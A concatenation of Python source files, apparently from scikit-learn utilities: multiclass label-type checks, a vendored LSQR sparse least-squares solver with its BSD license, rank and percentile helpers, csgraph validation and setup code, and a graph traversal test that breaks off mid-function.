    """Extract an ordered array of unique labels

    We don't allow:
        - mix of multilabel and multiclass (single label) targets
        - mix of label indicator matrix and anything else,
          because there are no explicit labels)
        - mix of label indicator matrices of different sizes
        - mix of string and integer labels

    At the moment, we also don't allow "multiclass-multioutput" input type.

    Parameters
    ----------
    *ys : array-likes,

    Returns
    -------
    out : numpy array of shape [n_unique_labels]
        An ordered array of unique labels.

    Examples
    --------
    >>> from sklearn.utils.multiclass import unique_labels
    >>> unique_labels([3, 5, 5, 5, 7, 7])
    array([3, 5, 7])
    >>> unique_labels([1, 2, 3, 4], [2, 2, 3, 4])
    array([1, 2, 3, 4])
    >>> unique_labels([1, 2, 10], [5, 11])
    array([ 1,  2,  5, 10, 11])
    """
    if not ys:
        raise ValueError('No argument has been passed.')
    # Check that we don't mix label format

    ys_types = set(type_of_target(x) for x in ys)
    if ys_types == set(["binary", "multiclass"]):
        ys_types = set(["multiclass"])

    if len(ys_types) > 1:
        raise ValueError("Mix type of y not allowed, got types %s" % ys_types)

    label_type = ys_types.pop()

    # Check consistency for the indicator format
    if (label_type == "multilabel-indicator" and
            len(set(check_array(y, ['csr', 'csc', 'coo']).shape[1]
                    for y in ys)) > 1):
        raise ValueError("Multi-label binary indicator input with "
                         "different numbers of labels")

    # Get the unique set of labels
    _unique_labels = _FN_UNIQUE_LABELS.get(label_type, None)
    if not _unique_labels:
        raise ValueError("Unknown label type: %s" % repr(ys))

    ys_labels = set(chain.from_iterable(_unique_labels(y) for y in ys))

    # Check that we don't mix string type with number type
    if (len(set(isinstance(label, string_types) for label in ys_labels)) > 1):
        raise ValueError("Mix of label input types (string and number)")

    return np.array(sorted(ys_labels))


def _is_integral_float(y):
    return y.dtype.kind == 'f' and np.all(y.astype(int) == y)


def is_multilabel(y):
    """ Check if ``y`` is in a multilabel format.

    Parameters
    ----------
    y : numpy array of shape [n_samples]
        Target values.

    Returns
    -------
    out : bool,
        Return ``True``, if ``y`` is in a multilabel format, else ```False``.

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn.utils.multiclass import is_multilabel
    >>> is_multilabel([0, 1, 0, 1])
    False
    >>> is_multilabel([[1], [0, 2], []])
    False
    >>> is_multilabel(np.array([[1, 0], [0, 0]]))
    True
    >>> is_multilabel(np.array([[1], [0], [0]]))
    False
    >>> is_multilabel(np.array([[1, 0, 0]]))
    True
    """
    if hasattr(y, '__array__'):
        y = np.asarray(y)
    if not (hasattr(y, "shape") and y.ndim == 2 and y.shape[1] > 1):
        return False

    if issparse(y):
        if isinstance(y, (dok_matrix, lil_matrix)):
            y = y.tocsr()
        return (len(y.data) == 0 or np.unique(y.data).size == 1 and
                (y.dtype.kind in 'biu' or  # bool, int, uint
                 _is_integral_float(np.unique(y.data))))
    else:
        labels = np.unique(y)

        return len(labels) < 3 and (y.dtype.kind in 'biu' or  # bool, int, uint
                                    _is_integral_float(labels))

def check_classification_targets(y):
    """Ensure that target y is of a non-regression type.

    Only the following target types (as defined in type_of_target) are allowed:
        'binary', 'multiclass', 'multiclass-multioutput', 
        'multilabel-indicator', 'multilabel-sequences'

    Parameters
    ----------
    y : array-like
    """
    y_type = type_of_target(y)
    if y_type not in ['binary', 'multiclass', 'multiclass-multioutput', 
            'multilabel-indicator', 'multilabel-sequences']:
        raise ValueError("Unknown label type: %r" % y_type)



def type_of_target(y):
    """Determine the type of data indicated by target `y`

    Parameters
    ----------
    y : array-like

    Returns
    -------
    target_type : string
        One of:
        * 'continuous': `y` is an array-like of floats that are not all
          integers, and is 1d or a column vector.
        * 'continuous-multioutput': `y` is a 2d array of floats that are
          not all integers, and both dimensions are of size > 1.
        * 'binary': `y` contains <= 2 discrete values and is 1d or a column
          vector.
        * 'multiclass': `y` contains more than two discrete values, is not a
          sequence of sequences, and is 1d or a column vector.
        * 'multiclass-multioutput': `y` is a 2d array that contains more
          than two discrete values, is not a sequence of sequences, and both
          dimensions are of size > 1.
        * 'multilabel-indicator': `y` is a label indicator matrix, an array
          of two dimensions with at least two columns, and at most 2 unique
          values.
        * 'unknown': `y` is array-like but none of the above, such as a 3d
          array, sequence of sequences, or an array of non-sequence objects.

    Examples
    --------
    >>> import numpy as np
    >>> type_of_target([0.1, 0.6])
    'continuous'
    >>> type_of_target([1, -1, -1, 1])
    'binary'
    >>> type_of_target(['a', 'b', 'a'])
    'binary'
    >>> type_of_target([1.0, 2.0])
    'binary'
    >>> type_of_target([1, 0, 2])
    'multiclass'
    >>> type_of_target([1.0, 0.0, 3.0])
    'multiclass'
    >>> type_of_target(['a', 'b', 'c'])
    'multiclass'
    >>> type_of_target(np.array([[1, 2], [3, 1]]))
    'multiclass-multioutput'
    >>> type_of_target([[1, 2]])
    'multiclass-multioutput'
    >>> type_of_target(np.array([[1.5, 2.0], [3.0, 1.6]]))
    'continuous-multioutput'
    >>> type_of_target(np.array([[0, 1], [1, 1]]))
    'multilabel-indicator'
    """
    valid = ((isinstance(y, (Sequence, spmatrix)) or hasattr(y, '__array__'))
             and not isinstance(y, string_types))

    if not valid:
        raise ValueError('Expected array-like (array or non-string sequence), '
                         'got %r' % y)

    if is_multilabel(y):
        return 'multilabel-indicator'

    try:
        y = np.asarray(y)
    except ValueError:
        # Known to fail in numpy 1.3 for array of arrays
        return 'unknown'

    # The old sequence of sequences format
    try:
        if (not hasattr(y[0], '__array__') and isinstance(y[0], Sequence)
                and not isinstance(y[0], string_types)):
            raise ValueError('You appear to be using a legacy multi-label data'
                             ' representation. Sequence of sequences are no'
                             ' longer supported; use a binary array or sparse'
                             ' matrix instead.')
    except IndexError:
        pass

    # Invalid inputs
    if y.ndim > 2 or (y.dtype == object and len(y) and
                      not isinstance(y.flat[0], string_types)):
        return 'unknown'  # [[[1, 2]]] or [obj_1] and not ["label_1"]

    if y.ndim == 2 and y.shape[1] == 0:
        return 'unknown'  # [[]]

    if y.ndim == 2 and y.shape[1] > 1:
        suffix = "-multioutput"  # [[1, 2], [1, 2]]
    else:
        suffix = ""  # [1, 2, 3] or [[1], [2], [3]]

    # check float and contains non-integer float values
    if y.dtype.kind == 'f' and np.any(y != y.astype(int)):
        # [.1, .2, 3] or [[.1, .2, 3]] or [[1., .2]] and not [1., 2., 3.]
        return 'continuous' + suffix

    if (len(np.unique(y)) > 2) or (y.ndim >= 2 and len(y[0]) > 1):
        return 'multiclass' + suffix  # [1, 2, 3] or [[1., 2., 3]] or [[1, 2]]
    else:
        return 'binary'  # [1, 2] or [["a"], ["b"]]


def _check_partial_fit_first_call(clf, classes=None):
    """Private helper function for factorizing common classes param logic

    Estimators that implement the ``partial_fit`` API need to be provided with
    the list of possible classes at the first call to partial_fit.

    Subsequent calls to partial_fit should check that ``classes`` is still
    consistent with a previous value of ``clf.classes_`` when provided.

    This function returns True if it detects that this was the first call to
    ``partial_fit`` on ``clf``. In that case the ``classes_`` attribute is also
    set on ``clf``.

    """
    if getattr(clf, 'classes_', None) is None and classes is None:
        raise ValueError("classes must be passed on the first call "
                         "to partial_fit.")

    elif classes is not None:
        if getattr(clf, 'classes_', None) is not None:
            if not array_equal(clf.classes_, unique_labels(classes)):
                raise ValueError(
                    "`classes=%r` is not the same as on last call "
                    "to partial_fit, was: %r" % (classes, clf.classes_))

        else:
            # This is the first call to partial_fit
            clf.classes_ = unique_labels(classes)
            return True

    # classes is None and clf.classes_ has already previously been set:
    # nothing to do
    return False


def class_distribution(y, sample_weight=None):
    """Compute class priors from multioutput-multiclass target data

    Parameters
    ----------
    y : array like or sparse matrix of size (n_samples, n_outputs)
        The labels for each example.

    sample_weight : array-like of shape = (n_samples,), optional
        Sample weights.

    Returns
    -------
    classes : list of size n_outputs of arrays of size (n_classes,)
        List of classes for each column.

    n_classes : list of integers of size n_outputs
        Number of classes in each column

    class_prior : list of size n_outputs of arrays of size (n_classes,)
        Class distribution of each column.

    """
    classes = []
    n_classes = []
    class_prior = []

    n_samples, n_outputs = y.shape

    if issparse(y):
        y = y.tocsc()
        y_nnz = np.diff(y.indptr)

        for k in range(n_outputs):
            col_nonzero = y.indices[y.indptr[k]:y.indptr[k + 1]]
            # separate sample weights for zero and non-zero elements
            if sample_weight is not None:
                nz_samp_weight = np.asarray(sample_weight)[col_nonzero]
                zeros_samp_weight_sum = (np.sum(sample_weight) -
                                         np.sum(nz_samp_weight))
            else:
                nz_samp_weight = None
                zeros_samp_weight_sum = y.shape[0] - y_nnz[k]

            classes_k, y_k = np.unique(y.data[y.indptr[k]:y.indptr[k + 1]],
                                       return_inverse=True)
            class_prior_k = bincount(y_k, weights=nz_samp_weight)

            # An explicit zero was found, combine its weight with the weight
            # of the implicit zeros
            if 0 in classes_k:
                class_prior_k[classes_k == 0] += zeros_samp_weight_sum

            # If an there is an implicit zero and it is not in classes and
            # class_prior, make an entry for it
            if 0 not in classes_k and y_nnz[k] < y.shape[0]:
                classes_k = np.insert(classes_k, 0, 0)
                class_prior_k = np.insert(class_prior_k, 0,
                                          zeros_samp_weight_sum)

            classes.append(classes_k)
            n_classes.append(classes_k.shape[0])
            class_prior.append(class_prior_k / class_prior_k.sum())
    else:
        for k in range(n_outputs):
            classes_k, y_k = np.unique(y[:, k], return_inverse=True)
            classes.append(classes_k)
            n_classes.append(classes_k.shape[0])
            class_prior_k = bincount(y_k, weights=sample_weight)
            class_prior.append(class_prior_k / class_prior_k.sum())

    return (classes, n_classes, class_prior)






"""Sparse Equations and Least Squares.

The original Fortran code was written by C. C. Paige and M. A. Saunders as
described in

C. C. Paige and M. A. Saunders, LSQR: An algorithm for sparse linear
equations and sparse least squares, TOMS 8(1), 43--71 (1982).

C. C. Paige and M. A. Saunders, Algorithm 583; LSQR: Sparse linear
equations and least-squares problems, TOMS 8(2), 195--209 (1982).

It is licensed under the following BSD license:

Copyright (c) 2006, Systems Optimization Laboratory
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:

    * Redistributions of source code must retain the above copyright
      notice, this list of conditions and the following disclaimer.

    * Redistributions in binary form must reproduce the above
      copyright notice, this list of conditions and the following
      disclaimer in the documentation and/or other materials provided
      with the distribution.

    * Neither the name of Stanford University nor the names of its
      contributors may be used to endorse or promote products derived
      from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

The Fortran code was translated to Python for use in CVXOPT by Jeffery
Kline with contributions by Mridul Aanjaneya and Bob Myhill.

Adapted for SciPy by Stefan van der Walt.

"""

from __future__ import division, print_function, absolute_import

__all__ = ['lsqr']

import numpy as np
from math import sqrt
from scipy.sparse.linalg.interface import aslinearoperator

eps = np.finfo(np.float64).eps


def _sym_ortho(a, b):
    """
    Stable implementation of Givens rotation.

    Notes
    -----
    The routine 'SymOrtho' was added for numerical stability. This is
    recommended by S.-C. Choi in [1]_.  It removes the unpleasant potential of
    ``1/eps`` in some important places (see, for example text following
    "Compute the next plane rotation Qk" in minres.py).

    References
    ----------
    .. [1] S.-C. Choi, "Iterative Methods for Singular Linear Equations
           and Least-Squares Problems", Dissertation,
           http://www.stanford.edu/group/SOL/dissertations/sou-cheng-choi-thesis.pdf

    """
    if b == 0:
        return np.sign(a), 0, abs(a)
    elif a == 0:
        return 0, np.sign(b), abs(b)
    elif abs(b) > abs(a):
        tau = a / b
        s = np.sign(b) / sqrt(1 + tau * tau)
        c = s * tau
        r = b / s
    else:
        tau = b / a
        c = np.sign(a) / sqrt(1+tau*tau)
        s = c * tau
        r = a / c
    return c, s, r


def lsqr(A, b, damp=0.0, atol=1e-8, btol=1e-8, conlim=1e8,
         iter_lim=None, show=False, calc_var=False):
    """Find the least-squares solution to a large, sparse, linear system
    of equations.

    The function solves ``Ax = b``  or  ``min ||b - Ax||^2`` or
    ``min ||Ax - b||^2 + d^2 ||x||^2``.

    The matrix A may be square or rectangular (over-determined or
    under-determined), and may have any rank.

    ::

      1. Unsymmetric equations --    solve  A*x = b

      2. Linear least squares  --    solve  A*x = b
                                     in the least-squares sense

      3. Damped least squares  --    solve  (   A    )*x = ( b )
                                            ( damp*I )     ( 0 )
                                     in the least-squares sense

    Parameters
    ----------
    A : {sparse matrix, ndarray, LinearOperatorLinear}
        Representation of an m-by-n matrix.  It is required that
        the linear operator can produce ``Ax`` and ``A^T x``.
    b : (m,) ndarray
        Right-hand side vector ``b``.
    damp : float
        Damping coefficient.
    atol, btol : float, default 1.0e-8
        Stopping tolerances. If both are 1.0e-9 (say), the final
        residual norm should be accurate to about 9 digits.  (The
        final x will usually have fewer correct digits, depending on
        cond(A) and the size of damp.)
    conlim : float
        Another stopping tolerance.  lsqr terminates if an estimate of
        ``cond(A)`` exceeds `conlim`.  For compatible systems ``Ax =
        b``, `conlim` could be as large as 1.0e+12 (say).  For
        least-squares problems, conlim should be less than 1.0e+8.
        Maximum precision can be obtained by setting ``atol = btol =
        conlim = zero``, but the number of iterations may then be
        excessive.
    iter_lim : int
        Explicit limitation on number of iterations (for safety).
    show : bool
        Display an iteration log.
    calc_var : bool
        Whether to estimate diagonals of ``(A'A + damp^2*I)^{-1}``.

    Returns
    -------
    x : ndarray of float
        The final solution.
    istop : int
        Gives the reason for termination.
        1 means x is an approximate solution to Ax = b.
        2 means x approximately solves the least-squares problem.
    itn : int
        Iteration number upon termination.
    r1norm : float
        ``norm(r)``, where ``r = b - Ax``.
    r2norm : float
        ``sqrt( norm(r)^2  +  damp^2 * norm(x)^2 )``.  Equal to `r1norm` if
        ``damp == 0``.
    anorm : float
        Estimate of Frobenius norm of ``Abar = [[A]; [damp*I]]``.
    acond : float
        Estimate of ``cond(Abar)``.
    arnorm : float
        Estimate of ``norm(A'*r - damp^2*x)``.
    xnorm : float
        ``norm(x)``
    var : ndarray of float
        If ``calc_var`` is True, estimates all diagonals of
        ``(A'A)^{-1}`` (if ``damp == 0``) or more generally ``(A'A +
        damp^2*I)^{-1}``.  This is well defined if A has full column
        rank or ``damp > 0``.  (Not sure what var means if ``rank(A)
        < n`` and ``damp = 0.``)

    Notes
    -----
    LSQR uses an iterative method to approximate the solution.  The
    number of iterations required to reach a certain accuracy depends
    strongly on the scaling of the problem.  Poor scaling of the rows
    or columns of A should therefore be avoided where possible.

    For example, in problem 1 the solution is unaltered by
    row-scaling.  If a row of A is very small or large compared to
    the other rows of A, the corresponding row of ( A  b ) should be
    scaled up or down.

    In problems 1 and 2, the solution x is easily recovered
    following column-scaling.  Unless better information is known,
    the nonzero columns of A should be scaled so that they all have
    the same Euclidean norm (e.g., 1.0).

    In problem 3, there is no freedom to re-scale if damp is
    nonzero.  However, the value of damp should be assigned only
    after attention has been paid to the scaling of A.

    The parameter damp is intended to help regularize
    ill-conditioned systems, by preventing the true solution from
    being very large.  Another aid to regularization is provided by
    the parameter acond, which may be used to terminate iterations
    before the computed solution becomes very large.

    If some initial estimate ``x0`` is known and if ``damp == 0``,
    one could proceed as follows:

      1. Compute a residual vector ``r0 = b - A*x0``.
      2. Use LSQR to solve the system  ``A*dx = r0``.
      3. Add the correction dx to obtain a final solution ``x = x0 + dx``.

    This requires that ``x0`` be available before and after the call
    to LSQR.  To judge the benefits, suppose LSQR takes k1 iterations
    to solve A*x = b and k2 iterations to solve A*dx = r0.
    If x0 is "good", norm(r0) will be smaller than norm(b).
    If the same stopping tolerances atol and btol are used for each
    system, k1 and k2 will be similar, but the final solution x0 + dx
    should be more accurate.  The only way to reduce the total work
    is to use a larger stopping tolerance for the second system.
    If some value btol is suitable for A*x = b, the larger value
    btol*norm(b)/norm(r0)  should be suitable for A*dx = r0.

    Preconditioning is another way to reduce the number of iterations.
    If it is possible to solve a related system ``M*x = b``
    efficiently, where M approximates A in some helpful way (e.g. M -
    A has low rank or its elements are small relative to those of A),
    LSQR may converge more rapidly on the system ``A*M(inverse)*z =
    b``, after which x can be recovered by solving M*x = z.

    If A is symmetric, LSQR should not be used!

    Alternatives are the symmetric conjugate-gradient method (cg)
    and/or SYMMLQ.  SYMMLQ is an implementation of symmetric cg that
    applies to any symmetric A and will converge more rapidly than
    LSQR.  If A is positive definite, there are other implementations
    of symmetric cg that require slightly less work per iteration than
    SYMMLQ (but will take the same number of iterations).

    References
    ----------
    .. [1] C. C. Paige and M. A. Saunders (1982a).
           "LSQR: An algorithm for sparse linear equations and
           sparse least squares", ACM TOMS 8(1), 43-71.
    .. [2] C. C. Paige and M. A. Saunders (1982b).
           "Algorithm 583.  LSQR: Sparse linear equations and least
           squares problems", ACM TOMS 8(2), 195-209.
    .. [3] M. A. Saunders (1995).  "Solution of sparse rectangular
           systems using LSQR and CRAIG", BIT 35, 588-604.

    """
    A = aslinearoperator(A)
    if len(b.shape) > 1:
        b = b.squeeze()

    m, n = A.shape
    if iter_lim is None:
        iter_lim = 2 * n
    var = np.zeros(n)

    msg = ('The exact solution is  x = 0                              ',
         'Ax - b is small enough, given atol, btol                  ',
         'The least-squares solution is good enough, given atol     ',
         'The estimate of cond(Abar) has exceeded conlim            ',
         'Ax - b is small enough for this machine                   ',
         'The least-squares solution is good enough for this machine',
         'Cond(Abar) seems to be too large for this machine         ',
         'The iteration limit has been reached                      ')

    if show:
        print(' ')
        print('LSQR            Least-squares solution of  Ax = b')
        str1 = 'The matrix A has %8g rows  and %8g cols' % (m, n)
        str2 = 'damp = %20.14e   calc_var = %8g' % (damp, calc_var)
        str3 = 'atol = %8.2e                 conlim = %8.2e' % (atol, conlim)
        str4 = 'btol = %8.2e               iter_lim = %8g' % (btol, iter_lim)
        print(str1)
        print(str2)
        print(str3)
        print(str4)

    itn = 0
    istop = 0
    nstop = 0
    ctol = 0
    if conlim > 0:
        ctol = 1/conlim
    anorm = 0
    acond = 0
    dampsq = damp**2
    ddnorm = 0
    res2 = 0
    xnorm = 0
    xxnorm = 0
    z = 0
    cs2 = -1
    sn2 = 0

    """
    Set up the first vectors u and v for the bidiagonalization.
    These satisfy  beta*u = b,  alfa*v = A'u.
    """
    __xm = np.zeros(m)  # a matrix for temporary holding
    __xn = np.zeros(n)  # a matrix for temporary holding
    v = np.zeros(n)
    u = b
    x = np.zeros(n)
    alfa = 0
    beta = np.linalg.norm(u)
    w = np.zeros(n)

    if beta > 0:
        u = (1/beta) * u
        v = A.rmatvec(u)
        alfa = np.linalg.norm(v)

    if alfa > 0:
        v = (1/alfa) * v
        w = v.copy()

    rhobar = alfa
    phibar = beta
    bnorm = beta
    rnorm = beta
    r1norm = rnorm
    r2norm = rnorm

    # Reverse the order here from the original matlab code because
    # there was an error on return when arnorm==0
    arnorm = alfa * beta
    if arnorm == 0:
        print(msg[0])
        return x, istop, itn, r1norm, r2norm, anorm, acond, arnorm, xnorm, var

    head1 = '   Itn      x[0]       r1norm     r2norm '
    head2 = ' Compatible    LS      Norm A   Cond A'

    if show:
        print(' ')
        print(head1, head2)
        test1 = 1
        test2 = alfa / beta
        str1 = '%6g %12.5e' % (itn, x[0])
        str2 = ' %10.3e %10.3e' % (r1norm, r2norm)
        str3 = '  %8.1e %8.1e' % (test1, test2)
        print(str1, str2, str3)

    # Main iteration loop.
    while itn < iter_lim:
        itn = itn + 1
        """
        %     Perform the next step of the bidiagonalization to obtain the
        %     next  beta, u, alfa, v.  These satisfy the relations
        %                beta*u  =  a*v   -  alfa*u,
        %                alfa*v  =  A'*u  -  beta*v.
        """
        u = A.matvec(v) - alfa * u
        beta = np.linalg.norm(u)

        if beta > 0:
            u = (1/beta) * u
            anorm = sqrt(anorm**2 + alfa**2 + beta**2 + damp**2)
            v = A.rmatvec(u) - beta * v
            alfa = np.linalg.norm(v)
            if alfa > 0:
                v = (1 / alfa) * v

        # Use a plane rotation to eliminate the damping parameter.
        # This alters the diagonal (rhobar) of the lower-bidiagonal matrix.
        rhobar1 = sqrt(rhobar**2 + damp**2)
        cs1 = rhobar / rhobar1
        sn1 = damp / rhobar1
        psi = sn1 * phibar
        phibar = cs1 * phibar

        # Use a plane rotation to eliminate the subdiagonal element (beta)
        # of the lower-bidiagonal matrix, giving an upper-bidiagonal matrix.
        cs, sn, rho = _sym_ortho(rhobar1, beta)

        theta = sn * alfa
        rhobar = -cs * alfa
        phi = cs * phibar
        phibar = sn * phibar
        tau = sn * phi

        # Update x and w.
        t1 = phi / rho
        t2 = -theta / rho
        dk = (1 / rho) * w

        x = x + t1 * w
        w = v + t2 * w
        ddnorm = ddnorm + np.linalg.norm(dk)**2

        if calc_var:
            var = var + dk**2

        # Use a plane rotation on the right to eliminate the
        # super-diagonal element (theta) of the upper-bidiagonal matrix.
        # Then use the result to estimate norm(x).
        delta = sn2 * rho
        gambar = -cs2 * rho
        rhs = phi - delta * z
        zbar = rhs / gambar
        xnorm = sqrt(xxnorm + zbar**2)
        gamma = sqrt(gambar**2 + theta**2)
        cs2 = gambar / gamma
        sn2 = theta / gamma
        z = rhs / gamma
        xxnorm = xxnorm + z**2

        # Test for convergence.
        # First, estimate the condition of the matrix  Abar,
        # and the norms of  rbar  and  Abar'rbar.
        acond = anorm * sqrt(ddnorm)
        res1 = phibar**2
        res2 = res2 + psi**2
        rnorm = sqrt(res1 + res2)
        arnorm = alfa * abs(tau)

        # Distinguish between
        #    r1norm = ||b - Ax|| and
        #    r2norm = rnorm in current code
        #           = sqrt(r1norm^2 + damp^2*||x||^2).
        #    Estimate r1norm from
        #    r1norm = sqrt(r2norm^2 - damp^2*||x||^2).
        # Although there is cancellation, it might be accurate enough.
        r1sq = rnorm**2 - dampsq * xxnorm
        r1norm = sqrt(abs(r1sq))
        if r1sq < 0:
            r1norm = -r1norm
        r2norm = rnorm

        # Now use these norms to estimate certain other quantities,
        # some of which will be small near a solution.
        test1 = rnorm / bnorm
        test2 = arnorm / (anorm * rnorm + eps)
        test3 = 1 / (acond + eps)
        t1 = test1 / (1 + anorm * xnorm / bnorm)
        rtol = btol + atol * anorm * xnorm / bnorm

        # The following tests guard against extremely small values of
        # atol, btol  or  ctol.  (The user may have set any or all of
        # the parameters  atol, btol, conlim  to 0.)
        # The effect is equivalent to the normal tests using
        # atol = eps,  btol = eps,  conlim = 1/eps.
        if itn >= iter_lim:
            istop = 7
        if 1 + test3 <= 1:
            istop = 6
        if 1 + test2 <= 1:
            istop = 5
        if 1 + t1 <= 1:
            istop = 4

        # Allow for tolerances set by the user.
        if test3 <= ctol:
            istop = 3
        if test2 <= atol:
            istop = 2
        if test1 <= rtol:
            istop = 1

        # See if it is time to print something.
        prnt = False
        if n <= 40:
            prnt = True
        if itn <= 10:
            prnt = True
        if itn >= iter_lim-10:
            prnt = True
        # if itn%10 == 0: prnt = True
        if test3 <= 2*ctol:
            prnt = True
        if test2 <= 10*atol:
            prnt = True
        if test1 <= 10*rtol:
            prnt = True
        if istop != 0:
            prnt = True

        if prnt:
            if show:
                str1 = '%6g %12.5e' % (itn, x[0])
                str2 = ' %10.3e %10.3e' % (r1norm, r2norm)
                str3 = '  %8.1e %8.1e' % (test1, test2)
                str4 = ' %8.1e %8.1e' % (anorm, acond)
                print(str1, str2, str3, str4)

        if istop != 0:
            break

    # End of iteration loop.
    # Print the stopping condition.
    if show:
        print(' ')
        print('LSQR finished')
        print(msg[istop])
        print(' ')
        str1 = 'istop =%8g   r1norm =%8.1e' % (istop, r1norm)
        str2 = 'anorm =%8.1e   arnorm =%8.1e' % (anorm, arnorm)
        str3 = 'itn   =%8g   r2norm =%8.1e' % (itn, r2norm)
        str4 = 'acond =%8.1e   xnorm  =%8.1e' % (acond, xnorm)
        print(str1 + '   ' + str2)
        print(str3 + '   ' + str4)
        print(' ')

    return x, istop, itn, r1norm, r2norm, anorm, acond, arnorm, xnorm, var






import numpy as np
from scipy.stats import rankdata as _sp_rankdata
from .fixes import bincount


# To remove when we support scipy 0.13
def _rankdata(a, method="average"):
    """Assign ranks to data, dealing with ties appropriately.

    Ranks begin at 1. The method argument controls how ranks are assigned
    to equal values.

    Parameters
    ----------
    a : array_like
        The array of values to be ranked. The array is first flattened.

    method : str, optional
        The method used to assign ranks to tied elements.
        The options are 'max'.
        'max': The maximum of the ranks that would have been assigned
              to all the tied values is assigned to each value.

    Returns
    -------
    ranks : ndarray
        An array of length equal to the size of a, containing rank scores.

    Notes
    -----
    We only backport the 'max' method

    """
    if method != "max":
        raise NotImplementedError()

    unique_all, inverse = np.unique(a, return_inverse=True)
    count = bincount(inverse, minlength=unique_all.size)
    cum_count = count.cumsum()
    rank = cum_count[inverse]
    return rank

try:
    _sp_rankdata([1.], 'max')
    rankdata = _sp_rankdata

except TypeError as e:
    rankdata = _rankdata


def _weighted_percentile(array, sample_weight, percentile=50):
    """Compute the weighted ``percentile`` of ``array`` with ``sample_weight``. """
    sorted_idx = np.argsort(array)

    # Find index of median prediction for each sample
    weight_cdf = sample_weight[sorted_idx].cumsum()
    percentile_idx = np.searchsorted(
        weight_cdf, (percentile / 100.) * weight_cdf[-1])
    return array[sorted_idx[percentile_idx]]






from __future__ import division, print_function, absolute_import

import numpy as np
from scipy.sparse import csr_matrix, isspmatrix, isspmatrix_csc
from ._graph_tools import csgraph_to_dense, csgraph_from_dense,\
    csgraph_masked_from_dense, csgraph_from_masked

DTYPE = np.float64


def validate_graph(csgraph, directed, dtype=DTYPE,
                   csr_output=True, dense_output=True,
                   copy_if_dense=False, copy_if_sparse=False,
                   null_value_in=0, null_value_out=np.inf,
                   infinity_null=True, nan_null=True):
    """Routine for validation and conversion of csgraph inputs"""
    if not (csr_output or dense_output):
        raise ValueError("Internal: dense or csr output must be true")

    # if undirected and csc storage, then transposing in-place
    # is quicker than later converting to csr.
    if (not directed) and isspmatrix_csc(csgraph):
        csgraph = csgraph.T

    if isspmatrix(csgraph):
        if csr_output:
            csgraph = csr_matrix(csgraph, dtype=DTYPE, copy=copy_if_sparse)
        else:
            csgraph = csgraph_to_dense(csgraph, null_value=null_value_out)
    elif np.ma.is_masked(csgraph):
        if dense_output:
            mask = csgraph.mask
            csgraph = np.array(csgraph.data, dtype=DTYPE, copy=copy_if_dense)
            csgraph[mask] = null_value_out
        else:
            csgraph = csgraph_from_masked(csgraph)
    else:
        if dense_output:
            csgraph = csgraph_masked_from_dense(csgraph,
                                                copy=copy_if_dense,
                                                null_value=null_value_in,
                                                nan_null=nan_null,
                                                infinity_null=infinity_null)
            mask = csgraph.mask
            csgraph = np.asarray(csgraph.data, dtype=DTYPE)
            csgraph[mask] = null_value_out
        else:
            csgraph = csgraph_from_dense(csgraph, null_value=null_value_in,
                                         infinity_null=infinity_null,
                                         nan_null=nan_null)

    if csgraph.ndim != 2:
        raise ValueError("compressed-sparse graph must be two dimensional")

    if csgraph.shape[0] != csgraph.shape[1]:
        raise ValueError("compressed-sparse graph must be shape (N, N)")

    return csgraph






import numpy


def configuration(parent_package='', top_path=None):
    from numpy.distutils.misc_util import Configuration

    config = Configuration('sparsetools', parent_package, top_path)

    config.add_extension('_traversal',
                         sources=['_traversal.c'],
                         include_dirs=[numpy.get_include()],
                         #libraries=libraries
                         )
    config.add_extension('_graph_tools',
                         sources=['_graph_tools.c'],
                         include_dirs=[numpy.get_include()],
                         #libraries=libraries
                         )

    config.add_subpackage('tests')

    return config

if __name__ == '__main__':
    from numpy.distutils.core import setup
    setup(**configuration(top_path='').todict())






"""sparsetools - a collection of routines for sparse matrix operations"""

from ._traversal import connected_components

__all__ = ["connected_components"]






from __future__ import division, print_function, absolute_import

from nose import SkipTest

import numpy as np
from numpy.testing import assert_array_almost_equal
try:
    from scipy.sparse.csgraph import breadth_first_tree, depth_first_tree,\
        csgraph_to_dense, csgraph_from_dense
except ImportError:
    # Oldish versions of scipy don't have that
    csgraph_from_dense = None


def test_graph_breadth_first():
    if csgraph_from_dense is None:
        raise SkipTest("Old version of scipy, doesn't have csgraph.")
    csgraph = np.array([[0, 1, 2, 0, 0],
                        [1, 0, 0, 0, 3],
                        [2, 0, 0, 7, 0],
                        [0, 0, 7, 0, 1],
                        [0, 3, 0, 1, 0]])
    csgraph = csgraph_from_dense(csgraph, null_value=0)

    bfirst = np.array([[0, 1, 2, 0, 0],
                       [0, 0, 0, 0, 3],
                       [0, 0, 0, 7, 0],
                       [0, 0, 0, 0, 0],
                       [0, 0, 0, 0, 0]])

    for directed in [True, False]:
        bfirst_test = breadth_first_tree(csgraph, 0, directed)
        assert_array_almost_equal(csgraph_to_dense(bfirst_test),
                                  bfirst)


def test_graph_depth_first():
    if csgraph_from_dense is None:
        raise SkipTest("Old version of scipy, doesn't have csgraph.")
    csgraph = np.array([[0, 1, 2, 0, 0],
                        [1, 0, 0, 0, 3],
                        [2, 0, 0, 7, 0],
                        [0, 0, 7, 0, 1],
                        [0, 3, 0, 1, 0]])
    csgraph = csgraph_from_dense(csgraph, null_value=0)

    dfirst = np.array([[0, 1, 0, 0, 0],
                       [0, 0, 0, 0, 3],
                       [0, 0, 0, 0, 0],
                       [0, 0, 7, 0, 0],
                       [0, 0, 0, 1, 0]])

    for directed in [True, False]:
